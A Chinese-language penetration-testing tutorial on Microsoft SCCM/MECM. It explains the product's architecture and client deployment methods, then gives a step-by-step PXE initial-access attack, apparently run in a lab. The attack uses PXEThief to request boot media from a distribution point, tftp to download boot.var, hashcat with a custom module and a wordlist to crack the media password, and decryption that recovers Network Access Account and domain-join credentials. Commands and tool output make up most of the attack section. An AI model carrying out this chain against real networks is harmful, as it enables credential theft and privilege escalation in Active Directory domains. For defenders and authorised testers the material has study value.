SCCM介绍
1. System Center Configuration Manager
System Center Configuration Manager ( SCCM ),后更名为 Microsoft Endpoint Configuration Manager ( MECM ),以及最近的微软配置管理器(ConfigMgr),是企业 IT 环境管理的重要支柱
帮助系统管理员在大型 Active Directory 环境中管理服务器和工作站。它实现了资源和系统的集中管理,提供多种功能,例如安装和卸载应用程序、配置网络和应用程序参数,以及部署补丁和更新。SCCM 还允许运行脚本和部署操作系统
SCCM 是一种本地解决方案,但微软也维护着一个名为 Intune 的云原生客户端管理套件。Intune 和 SCCM 都属于 Microsoft Endpoint Manager 产品体系
2. SCCM 架构
SCCM 的部署采用分层结构,该架构包含一个 Primary Server ,作为系统的核心节点,负责管理 SCCM 站点。每个站点通过唯一的站点代码进行标识。SCCM 站点代表独立的 SCCM 运行环境。此配置的核心是 MSSQL Primary database ,它存储着与 SCCM 站点相关的所有数据,包括用户和设备信息、SCCM 客户端位置、应用程序等。该数据库可部署在主服务器或专用服务器上。
此外还有两个基础设施:Distribution Point ( DP )和 Management Point ( MP )用于分发点确保应用程序、脚本和其他包能够高效地分发给逻辑上分组的客户端机器。管理点则协调从客户端机器到主服务器的各种配置传输,确保通信顺畅。
此外,辅助站点(Secondary Site)虽为可选组件,但可集成在这些服务与主服务器之间。它们拥有本地数据库,常被带宽有限的工作站用于分担主服务器负载,从而确保最佳性能。在高可用性环境中,还可能部署被动站点(Passive Site)。这些站点仅在主服务器宕机时才会被激活。
3. 部署方法
有多种方法可用于在机器上部署 SCCM 客户端
Client Push Installation(默认安装):此方法是默认且最常用的解决方案。它会自动将 SCCM 客户端部署到目标计算机上。Software Update-Based Installation:此方法通过软件更新将 SCCM 客户端部署到设备上。Group Policy Installation:此方法利用组策略在关联这些策略的计算机上安装 SCCM 客户端。Manual Installation:此方法需要手动干预,以便在每台计算机上安装 SCCM 客户端。Logon Script Installation:安装是通过计算机上的登录脚本启动的。Package and Program Installation: 这涉及将 SCCM 客户端打包在专用程序中进行部署。
第一种方式是最常用的安装方式,也是默认的且最不安全的方式
这种安装会使用 client push accounts (用于在 SCCM 将部署某些组件的资产上具有本地管理员权限的服务账户)。系统管理员创建端点组,并为每个组分配一个 client push account 。对于每个组,只有一个 client push account 可以以管理员权限对该组的资产进行身份验证。因此,如果一个账户被攻破,只有对应组的成员可能受到影响。
当 SCCM 部署启动时,它将尝试在每个资产上使用每个客户端推送账户进行身份验证。如果身份验证失败,SCCM 将尝试使用列表中的下一个账户。当身份验证成功后,它会转向下一个资产,依此类推,直到部署完成。如果没有可用于某台机器的账户,SCCM 服务器会尝试使用其机器账户作为最后手段进行身份验证。
4. PXE 初始访问
预启动执行环境 (PXE) 是一种通过网络启动计算机的机制。计算机不再通过光盘驱动器、USB 闪存盘或硬盘来寻找并加载启动程序,而是利用网络从 PXE 服务器中读取该程序。PXE 是一个独立于 SCCM 的程序,在网络中识别出 PXE 服务器并不一定意味着存在 SCCM 基础设施。同样地,PXE 基础设施也不一定包含 SCCM 服务器。Active Directory环境中的任何机器都可以被选为分发点(Distribution Point)并充当 PXE 服务器,这类服务器通常会开放以下 UDP 端口:67、68、69 和 4011。
- 分发点:PXE服务器
- PXE服务器会开放UDP 67、68、69 和 4011
- PXE机器不一定是PXE服务器,任何域内机器都可以作为分发点
4.1.1. 查询Boot Media
PXEThief可用于通过广播请求查询 PXE 启动介质,以获取 DHCP PXE 启动选项(它是用python编写的,建议在3.10下运行)
python .\pxethief.py -h
________ ___ ___ _______ _________ ___ ___ ___ _______ ________
|\ __ \|\ \ / /|\ ___ \|\___ ___\\ \|\ \|\ \|\ ___ \ |\ _____\
\ \ \|\ \ \ \/ / | \ __/\|___ \ \_\ \ \\\ \ \ \ \ __/|\ \ \__/
\ \ ____\ \ / / \ \ \_|/__ \ \ \ \ \ __ \ \ \ \ \_|/_\ \ __\
\ \ \___|/ \/ \ \ \_|\ \ \ \ \ \ \ \ \ \ \ \ \ \_|\ \ \ \_|
\ \__\ / /\ \ \ \_______\ \ \__\ \ \__\ \__\ \__\ \_______\ \__\
\|__| /__/ /\ __\ \|_______| \|__| \|__|\|__|\|__|\|_______|\|__|
|__|/ \|__|
pxethief.py 1 - Automatically identify and download encrypted media file using DHCP PXE boot request. Additionally, attempt exploitation of blank media password when auto_exploit_blank_password is set to 1
pxethief.py 2 <IP Address of DP Server> - Coerce PXE Boot against a specific MECM Distribution Point server designated by IP address
pxethief.py 3 <variables-file-name> <Password-guess> - Attempt to decrypt a saved media variables file and retrieve sensitive data from MECM DP
pxethief.py 4 <variables-file-name> <policy-file-path> <password> - Attempt to decrypt a saved media variables file and Task Sequence XML file retrieved from a full TS media
pxethief.py 5 <variables-file-name> - Print the hash corresponding to a specified media variables file for cracking in hashcat
pxethief.py 6 <identityguid> <identitycert-file-name> - Retrieve task sequences using the values obtained from registry keys on a DP
pxethief.py 7 <Reserved1-value> - Decrypt stored PXE password from SCCM DP registry key (reg query HKLM\software\microsoft\sms\dp /v Reserved1)
pxethief.py 8 - Write new default settings.ini file in PXEThief directory
pxethief.py 10 - Print Scapy interface table to identify interface indexes for use in 'settings.ini'
参数1 的自动发现模式貌似无法使用,最好用参数2 手动指定分发点IP
python .\pxethief.py 2 172.50.0.30
WARNING: Wireshark is installed, but cannot read manuf !
________ ___ ___ _______ _________ ___ ___ ___ _______ ________
|\ __ \|\ \ / /|\ ___ \|\___ ___\\ \|\ \|\ \|\ ___ \ |\ _____\
\ \ \|\ \ \ \/ / | \ __/\|___ \ \_\ \ \\\ \ \ \ \ __/|\ \ \__/
\ \ ____\ \ / / \ \ \_|/__ \ \ \ \ \ __ \ \ \ \ \_|/_\ \ __\
\ \ \___|/ \/ \ \ \_|\ \ \ \ \ \ \ \ \ \ \ \ \ \_|\ \ \ \_|
\ \__\ / /\ \ \ \_______\ \ \__\ \ \__\ \__\ \__\ \_______\ \__\
\|__| /__/ /\ __\ \|_______| \|__| \|__|\|__|\|__|\|_______|\|__|
|__|/ \|__|
[+] Generating and downloading encrypted media variables file from MECM server located at 192.168.1.1
[+] Using interface: \Device\NPF_{D254953A-1D37-438D-A2C3-54DA6F533EDC} - Intel(R) PRO/1000 MT Desktop Adapter #2
[+] Targeting user-specified host: 172.50.0.30
[+] Asking ConfigMgr for location to download the media variables and BCD files...
Begin emission:
Finished sending 1 packets.
.*
Received 2 packets, got 1 answers, remaining 0 packets
[!] Variables File Location: \SMSTemp\2024.05.19.13.06.09.0001.{48463D2D-ABD9-4697-8665-D75CDA255804}.boot.var
[!] BCD File Location: \SMSTemp\2024.05.19.13.06.07.03.{48463D2D-ABD9-4697-8665-D75CDA255804}.boot.bcd
[+] Use this command to grab the files:
tftp -i 172.50.0.30 GET "\SMSTemp\2024.05.19.13.06.09.0001.{48463D2D-ABD9-4697-8665-D75CDA255804}.boot.var" "2024.05.19.13.06.09.0001.{48463D2D-ABD9-4697-8665-D75CDA255804}.boot.var"
tftp -i 172.50.0.30 GET "\SMSTemp\2024.05.19.13.06.07.03.{48463D2D-ABD9-4697-8665-D75CDA255804}.boot.bcd" "2024.05.19.13.06.07.03.{48463D2D-ABD9-4697-8665-D75CDA255804}.boot.bcd"
[+] User configured password detected for task sequence media. Attempts can be made to crack this password using the relevant hashcat module输出 [+] User configured password detected for task sequence media 表明 PXE 介质似乎受密码保护
pxethief.py 仅在以下两种情况下有效:
- 尝试从一台未在 SCCM 服务器上注册(被归类为“未知/Unknown”)的计算机发起攻击;
- SCCM 服务器上进行了特殊配置,允许已知的客户端请求 PXE 启动。
4.1.2. 使用tftp获取boot.var
为了从媒体中获取到哈希,我们需要使用tftp从服务器提取 boot.var
tftp -i 172.50.0.30 GET "\SMSTemp\2024.05.19.13.06.09.0001.{48463D2D-ABD9-4697-8665-D75CDA255804}.boot.var" "2024.05.19.13.06.09.0001.{48463D2D-ABD9-4697-8665-D75CDA255804}.boot.var"
Successful transfer: 12776 bytes in 1 second(s), 12776 bytes/s
4.1.3. 计算boot.var的哈希
获取到 boot.var 文件后,可以使用pxethief.py 选项 5计算出媒体文件的哈希
python .\pxethief.py 5 '.\2024.05.19.13.06.09.0001.{48463D2D-ABD9-4697-8665-D75CDA255804}.boot.var'
WARNING: Wireshark is installed, but cannot read manuf !
________ ___ ___ _______ _________ ___ ___ ___ _______ ________
|\ __ \|\ \ / /|\ ___ \|\___ ___\\ \|\ \|\ \|\ ___ \ |\ _____\
\ \ \|\ \ \ \/ / | \ __/\|___ \ \_\ \ \\\ \ \ \ \ __/|\ \ \__/
\ \ ____\ \ / / \ \ \_|/__ \ \ \ \ \ __ \ \ \ \ \_|/_\ \ __\
\ \ \___|/ \/ \ \ \_|\ \ \ \ \ \ \ \ \ \ \ \ \ \_|\ \ \ \_|
\ \__\ / /\ \ \ \_______\ \ \__\ \ \__\ \__\ \__\ \_______\ \__\
\|__| /__/ /\ __\ \|_______| \|__| \|__|\|__|\|__|\|_______|\|__|
|__|/ \|__|
Hashcat hash: $sccm$aes128$0000edec14000000be310000c03100000e660000000000004da0a5327ebc51c8fded0c136fdf4439
4.1.4. 破解哈希
然后我们需要使用特定的 hashcat module来破解此哈希值
安装方式
$ cd hashcat_pxe/
$ git clone https://github.com/hashcat/hashcat.git
$ git clone https://github.com/MWR-CyberSec/configmgr-cryptderivekey-hashcat-module
$ cp configmgr-cryptderivekey-hashcat-module/module_code/module_19850.c hashcat/src/modules/
$ cp configmgr-cryptderivekey-hashcat-module/opencl_code/m19850* hashcat/OpenCL/
$ cd hashcat
$ git checkout -b v6.2.5 tags/v6.2.5 # change to 6.2.5
$ make
hashcat/hashcat -m 19850 --force -a 0 hashcat/hash /usr/share/wordlists/rockyou.txt
hashcat (v6.2.5) starting
<SNIP>
Dictionary cache built:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344393
* Bytes.....: 139921520
* Keyspace..: 14344386
* Runtime...: 1 sec
$sccm$aes128$0000edec14000000be310000c03100000e660000000000004da0a5327ebc51c8fded0c136fdf4439:Password123!
<SNIP>
4.1.5. 解密Boot media
最后,可以使用 PXEThief 请求启动介质,并使用密码进行解密。通常,PXE 介质中存在许多有用的信息,例如将新计算机加入 Active Directory域所需的凭据。这些凭据对于获取初始访问权限非常有用
python .\pxethief.py 3 '.\2024.05.19.13.06.09.0001.{48463D2D-ABD9-4697-8665-D75CDA255804}.boot.var' "Password123!"
WARNING: Wireshark is installed, but cannot read manuf !
________ ___ ___ _______ _________ ___ ___ ___ _______ ________
|\ __ \|\ \ / /|\ ___ \|\___ ___\\ \|\ \|\ \|\ ___ \ |\ _____\
\ \ \|\ \ \ \/ / | \ __/\|___ \ \_\ \ \\\ \ \ \ \ __/|\ \ \__/
\ \ ____\ \ / / \ \ \_|/__ \ \ \ \ \ __ \ \ \ \ \_|/_\ \ __\
\ \ \___|/ \/ \ \ \_|\ \ \ \ \ \ \ \ \ \ \ \ \ \_|\ \ \ \_|
\ \__\ / /\ \ \ \_______\ \ \__\ \ \__\ \__\ \__\ \_______\ \__\
\|__| /__/ /\ __\ \|_______| \|__| \|__|\|__|\|__|\|_______|\|__|
|__|/ \|__|
[+] Attempting to decrypt media variables file and retrieve policies and passwords from MECM Server...
[+] Media variables file to decrypt: .\2024.05.19.13.06.09.0001.{48463D2D-ABD9-4697-8665-D75CDA255804}.boot.var
[+] Password provided: Password123!
[+] Successfully decrypted media variables file with the provided password!
[!] Writing media variables to variables.xml
[!] Writing _SMSTSMediaPFX to HTB_e48caaa1-afae-43ce-b4f6-36cdeb1_SMSTSMediaPFX.pfx. Certificate password is e48caaa1-afae-43ce-b4f6-36cdeb1
[+] Identifying Management Point URL from media variables (Subsequent requests may fail if DNS does not resolve!)
[+] Management Point URL set to: http://SCCM01.lab.local
[+] Successfully Imported PFX File into Windows Certificate Store!
[+] Generating Client Authentication headers using PFX File...
[+] CCMClientID Signature Generated
[+] CCMClientTimestamp Signature Generated
[+] ClientToken Signature Generated
[+] Retrieving x64UnknownMachineGUID from MECM MP...
[+] Requesting policy assignments from MP...
[+] 51 policy assignment URLs found!
[+] Requesting Network Access Account Configuration from: http://SCCM01.lab.local/SMS_MP/.sms_pol?{ee824457-706f-4dd0-b8d2-edf5df5a3a55}.4_00
[+] Requesting Task Sequence Configuration from: http://SCCM01.lab.local/SMS_MP/.sms_pol?HTB2000F-HTB0000E-6F6BCC28.2_00
[+] Requesting Task Sequence Configuration from: http://SCCM01.lab.local/SMS_MP/.sms_pol?HTB20010-HTB0000E-6F6BCC28.1_00
[+] Decrypting Network Access Account Configuration
[+] Extracting password from Decrypted Network Access Account Configuration
[!] Network Access Account Username: 'LAB\sccm_naa'
[!] Network Access Account Password: 'Password!'
[!] Network Access Account Username: 'LAB\sccm_naa'
[!] Network Access Account Password: 'Password!'
[+] Decrypting Task Sequence Configuration
[!] Successfully Decrypted TS_Sequence XML Blob in Task Sequence 'Install_OS'!
[+] Attempting to automatically identify credentials in Task Sequence 'Install_OS':
[!] Possible credential fields found!
In TS Step "Apply Windows Settings":
OSDRegisteredUserName - Administrator
OSDRandomAdminPassword - true
In TS Step "Apply Network Settings":
OSDJoinAccount - LAB\sccm_naa
OSDJoinPassword - Password!
[!] Successfully Decrypted TS_Sequence XML Blob in Task Sequence 'Install_OS'!
[+] Attempting to automatically identify credentials in Task Sequence 'Install_OS':
[!] Possible credential fields found!
In TS Step "Apply Windows Settings":
OSDRegisteredUserName - Administrator
OSDRandomAdminPassword - true
In TS Step "Apply Network Settings":
OSDJoinAccount - LAB\sccm_naa
OSDJoinPassword - Password!
[+] Cleaning up
这一过程使我们能够从已配置的网络访问账户(NAA)、任务序列(Task Sequence)账户,或为‘所有未知计算机(All Unknown Computers)’集合所设置的 ConfigMgr 集合变量中提取登录凭据。这些 Active Directory账户通常拥有过高的权限,这可能导致权限提升,从而在域内获得管理员访问权限
